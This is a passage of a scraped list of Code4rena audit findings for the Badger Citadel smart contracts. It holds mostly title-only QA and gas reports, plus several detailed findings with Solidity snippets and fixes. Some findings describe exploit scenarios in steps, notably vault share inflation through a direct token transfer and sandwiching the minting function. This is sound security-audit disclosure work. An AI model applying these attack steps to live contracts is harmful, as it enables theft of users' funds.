https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L356 # Vulnerability details Unlike maxDiscount, minDiscount is missing some sanity checks: minDiscount should be smaller than MAX_BPS minDoscount should be smaller than maxDiscount "}, {"title": "StakedCitadel withdraw when available balance is not sufficient --> rekt some of the capital of the user", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/183", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-badger-citadel-findings", "body": "StakedCitadel withdraw when available balance is not sufficient --> rekt some of the capital of the user"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/181", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/180", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/179", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Stale price used when `citadelPriceFlag` is cleared", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/176", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/Funding.sol#L430-L437 # Vulnerability details During the [video](https://drive.google.com/file/d/1hCzQrgZEsbd0t2mtuaXm7Cp3YS-ZIlw3/view?usp=sharing) it was explained that the policy operations team was meant to be a nimble group that could change protocol values considered to be safe. Further, it was explained that since pricing comes from an oracle, and there would have to be unusual coordination between the two to affect outcomes, the group was given the ability to clear the pricing flag to get things moving again once the price was determined to be valid ## Impact If an oracle price falls out of the valid min/max range, the `citadelPriceFlag` is set to true, but the out-of-bounds value is not stored. If the policy operations team calls `clearCitadelPriceFlag()`, the stale price from before the flag will be used. Not only is it an issue because of stale prices, but this means the policy op team now has a way to affect pricing not under the control of the oracle (i.e. no unusual coordination required to affect an outcome). Incorrect pricing leads to incorrect asset valuations, and loss of funds. ## Proof of Concept The flag is set but the price is not stored File: src/Funding.sol (lines [427-437](https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/Funding.sol#L427-L437)) ```solidity if ( _citadelPriceInAsset < minCitadelPriceInAsset || _citadelPriceInAsset > maxCitadelPriceInAsset ) { citadelPriceFlag = true; emit CitadelPriceFlag( _citadelPriceInAsset, minCitadelPriceInAsset, maxCitadelPriceInAsset ); } else { ``` ## Tools Used Code inspection ## Recommended Mitigation Steps Always set the `citadelPriceInAsset` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/170", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Out of Gas can block the MedianOracle", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/168", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "Out of Gas can block the MedianOracle"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/164", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/163", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/161", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "New vest reset `unlockBegin` of existing vest without removing vested amount", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/158", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadelVester.sol#L143 https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadelVester.sol#L109 # Vulnerability details ## Impact When `vest` is called by xCTDL vault, the previous amount will re-lock according to the new vesting timeline. While this is as described in L127, `claimableBalance` might revert due to underflow if `vesting[recipient].claimedAmounts` > 0 because the user will need to vest the `claimedAmounts` again which should not be an expected behavior as it is already vested. ## Proof of Concept https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadelVester.sol#L143 ``` vesting[recipient].lockedAmounts = vesting[recipient].lockedAmounts + _amount; vesting[recipient].unlockBegin = _unlockBegin; vesting[recipient].unlockEnd = _unlockBegin + vestingDuration; ``` https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadelVester.sol#L109 ``` uint256 locked = vesting[recipient].lockedAmounts; uint256 claimed = vesting[recipient].claimedAmounts; if (block.timestamp >= vesting[recipient].unlockEnd) { return locked - claimed; } return ((locked * (block.timestamp - vesting[recipient].unlockBegin)) / (vesting[recipient].unlockEnd - vesting[recipient].unlockBegin)) - claimed; ``` ## Recommended Mitigation Steps Reset claimedAmounts on new vest ``` vesting[recipient].lockedAmounts = vesting[recipient].lockedAmounts - vesting[recipient].claimedAmounts + _amount; vesting[recipient].claimedAmounts = 0 vesting[recipient].unlockBegin = _unlockBegin; vesting[recipient].unlockEnd = _unlockBegin + vestingDuration; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/155", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "the earning amount can bypass toEarnBps", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-badger-citadel-findings", "body": "the earning amount can bypass toEarnBps"}, {"title": "Funding.deposit() doesn't work if there is no discount set", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/149", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L177 https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L202 https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L184 https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L769 # Vulnerability details ## Impact The Funding contract's `deposit()` function uses the `getAmountOut()` function to determine how many citadel tokens the user should receive for their deposit. But, if no discount is set, the function always returns 0. Now the `deposit()` function tries to deposit 0 tokens for the user through the StakedCitadel contract. But, that function requires the number of tokens to be `!= 0`. The transaction reverts. This means, that no deposits are possible. Unless there is a discount. ## Proof of Concept `Funding.deposit()` calls `getAmountOut()`: https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L177 Here's the [`getAmountOut()` function](https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L202): ```sol function getAmountOut(uint256 _assetAmountIn) public view returns (uint256 citadelAmount_) { uint256 citadelAmountWithoutDiscount = _assetAmountIn * citadelPriceInAsset; if (funding.discount > 0) { citadelAmount_ = (citadelAmountWithoutDiscount * MAX_BPS) / (MAX_BPS - funding.discount); } // unless the above if block is executed, `citadelAmount_` is 0 when this line is executed. // 0 = 0 / x citadelAmount_ = citadelAmount_ / assetDecimalsNormalizationValue; } ``` Call to `StakedCitadel.depositFor()`: https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/Funding.sol#L184 require statement that makes the whole transaction revert: https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L769 ## Tools Used none ## Recommended Mitigation Steps Change the `getAmountOut()` function to: ```sol function getAmountOut(uint256 _assetAmountIn) public view returns (uint256 citadelAmount_) { uint256 citadelAmount_ = _assetAmountIn * citadelPriceInAsset; if (funding.discount > 0) { citadelAmount_ = (citadelAmount_ * MAX_BPS) / (MAX_BPS - funding.discount); } citadelAmount_ = citadelAmount_ / assetDecimalsNormalizationValue; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/145", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/136", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/133", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/132", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/128", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/127", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/114", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/109", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/102", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/99", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/85", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/77", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "StakedCitadel doesn't use correct balance for internal accounting", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/74", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L291-L295 https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L772-L776 https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L881-L893 # Vulnerability details ## Impact The StakedCitadel contract's `balance()` function is supposed to return the balance of the vault + the balance of the strategy. But, it only returns the balance of the vault. The balance is used to determine the number of shares that should be minted when depositing funds into the vault and the number of shares that should be burned when withdrawing funds from it. Since most of the funds will be located in the strategy, the vault's balance will be very low. Some of the issues that arise from this: **You can't deposit to a vault that already minted shares but has no balance of the underlying token**: 1. fresh vault with 0 funds and 0 shares 2. Alice deposits 10 tokens. She receives 10 shares back (https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L887-L888) 3. Vault's tokens are deposited into the strategy (now `balance == 0` and `totalSupply == 10`) 4. Bob tries to deposit but the transaction fails because the contract tries to divide by zero: https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L890 (`pool == balance()`) **You get more shares than you should** 1. fresh vault with 0 funds and 0 shares 2. Alice deposits 10 tokens. She receives 10 shares back (https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L887-L888) 3. Vault's tokens are deposited into the strategy (now `balance == 0` and `totalSupply == 10`) 4. Bob now first transfers 1 token to the vault so that the balance is now `1` instead of `0`. 5. Bob deposits 5 tokens. He receives `5 * 10 / 1 == 50` shares: https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L890 Now, the vault received 15 tokens. 10 from Alice and 5 from Bob. But Alice only has 10 shares while Bob has 50. Thus, Bob can withdraw more tokens than he should be able to. It simply breaks the whole accounting of the vault. ## Proof of Concept The comment says that it should be vault's + strategy's balance: https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L291-L295 Here's another vault from the badger team where the function is implemented correctly: https://github.com/Badger-Finance/badger-vaults-1.5/blob/main/contracts/Vault.sol#L262 ## Tools Used none ## Recommended Mitigation Steps Add the strategy's balance to the return value of the`balance()` function like [here](https://github.com/Badger-Finance/badger-vaults-1.5/blob/main/contracts/Vault.sol#L262). "}, {"title": "KnightingRound tokenOutPrice changes", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/73", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/KnightingRound.sol#L162-L204 # Vulnerability details ## Impact `Function.buy` buys the tokens for whatever price is set as `tokenOutPrice`. This might lead to accidental collisions or front-running attacks when user is trying to buy the tokens and his transaction is being included after the transaction of changing the price of the token via `setTokenOutPrice`. Scenario: 1. User wants to `buy` tokens and can see price `tokenOutPrice` 2. User likes the price and issues a transaction to `buy` tokens 3. At the same time `CONTRACT_GOVERNANCE_ROLE` account is increasing `tokenOutPrice` through `setTokenOutPrice` 4. `setTokenOutPrice` transaction is included before user's `buy` transaction 5. User buys tokens with the price he was not aware of Another variation of this attack can be performed using front-running. ## Proof of Concept * https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/KnightingRound.sol#L162-L204 ## Tools Used Manual Review / VSCode ## Recommended Mitigation Steps It is recommended to add additional parameter `uint256 believedPrice` to `KnightingRound.buy` function and check if `believedPrice` is equal to `tokenOutPrice`. "}, {"title": "Dust accumulation in minter", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/72", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "Dust accumulation in minter"}, {"title": "Guaranteed citadel profit", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/CitadelMinter.sol#L217 # Vulnerability details ## Impact User can sandwich `mintAndDistribute` function if mintable is high enough - Deposit before - Withdraw after - Take after 21 days citadels ## Proof of Concept `mintAndDistribute` increase a price of staking share, that allows to withdraw more than deposited. user takes part of distributed citadels, so different users have smaller profit from distribution ## Tools Used ## Recommended Mitigation Steps Call `mintAndDistribute` through flashbots "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "`StakedCitadel`: more shares might be burned", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-badger-citadel-findings", "body": "`StakedCitadel`: more shares might be burned"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/58", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/52", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/35", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/31", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/11", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "StakedCitadel: wrong setupVesting function name", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/9", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L830 # Vulnerability details ## Impact In the _withdraw function of the StakedCitadel contract, the setupVesting function of vesting is called, while in the StakedCitadelVester contract, the function name is vest, which will cause the _withdraw function to fail, so that the user cannot withdraw the tokens. ``` IVesting(vesting).setupVesting(msg.sender, _amount, block.timestamp); token.safeTransfer(vesting, _amount); ... function vest( address recipient, uint256 _amount, uint256 _unlockBegin ) external { require(msg.sender == vault, \"StakedCitadelVester: only xCTDL vault\"); require(_amount > 0, \"StakedCitadelVester: cannot vest 0\"); vesting[recipient].lockedAmounts = vesting[recipient].lockedAmounts + _amount; vesting[recipient].unlockBegin = _unlockBegin; vesting[recipient].unlockEnd = _unlockBegin + vestingDuration; emit Vest( recipient, vesting[recipient].lockedAmounts, _unlockBegin, vesting[recipient].unlockEnd ); } ``` ## Proof of Concept https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/StakedCitadel.sol#L830 https://github.com/code-423n4/2022-04-badger-citadel/blob/main/src/interfaces/citadel/IVesting.sol#L5 ## Tools Used None ## Recommended Mitigation Steps Use the correct function name ``` interface IVesting { function vest( address recipient, uint256 _amount, uint256 _unlockBegin ) external; } ... IVesting(vesting).vest(msg.sender, _amount, block.timestamp); token.safeTransfer(vesting, _amount); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-04-badger-citadel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-badger-citadel-findings/issues/1", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-04-badger-citadel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)", "resolved", "reviewed"], "target": "2022-04-backd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backd-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "resolved", 